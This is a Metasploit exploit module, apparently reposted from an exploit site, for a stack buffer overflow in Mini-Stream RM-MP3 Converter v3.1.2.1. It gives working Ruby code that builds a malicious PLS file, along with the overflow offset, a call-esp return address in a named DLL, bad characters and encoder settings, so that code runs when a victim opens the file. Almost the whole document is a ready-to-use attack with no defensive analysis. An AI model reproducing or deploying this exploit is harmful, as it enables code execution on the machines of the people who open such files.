Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
                Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim
                opens the malicious PLS file.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Madjix',           # original discovery
                    'Tiago Henriques',  # metasploit module
                    'James Fitts'       # clean ups
                ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],
                    [ 'BID', '34514' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space' => 1500,
                    'BadChars' => "\x00\x09\x0a",
                    'DisableNops' => 'True',
                    'StackAdjustment' => -3500,
                    'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
                    'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ECX',
                        },
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [
                        'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
                        {
                            'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
                            'Offset' => 17417
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Jul 16 2010',
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
                ], self.class)
    end
 
    def exploit
 
        pls =  "http://"
        pls << rand_text_alpha_upper(target['Offset'])
        pls << [target.ret].pack('V')
        pls << rand_text_alpha_upper(8)
        pls << payload.encoded
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(pls)
 
    end
 
end



#  0day.today [2018-04-11]  #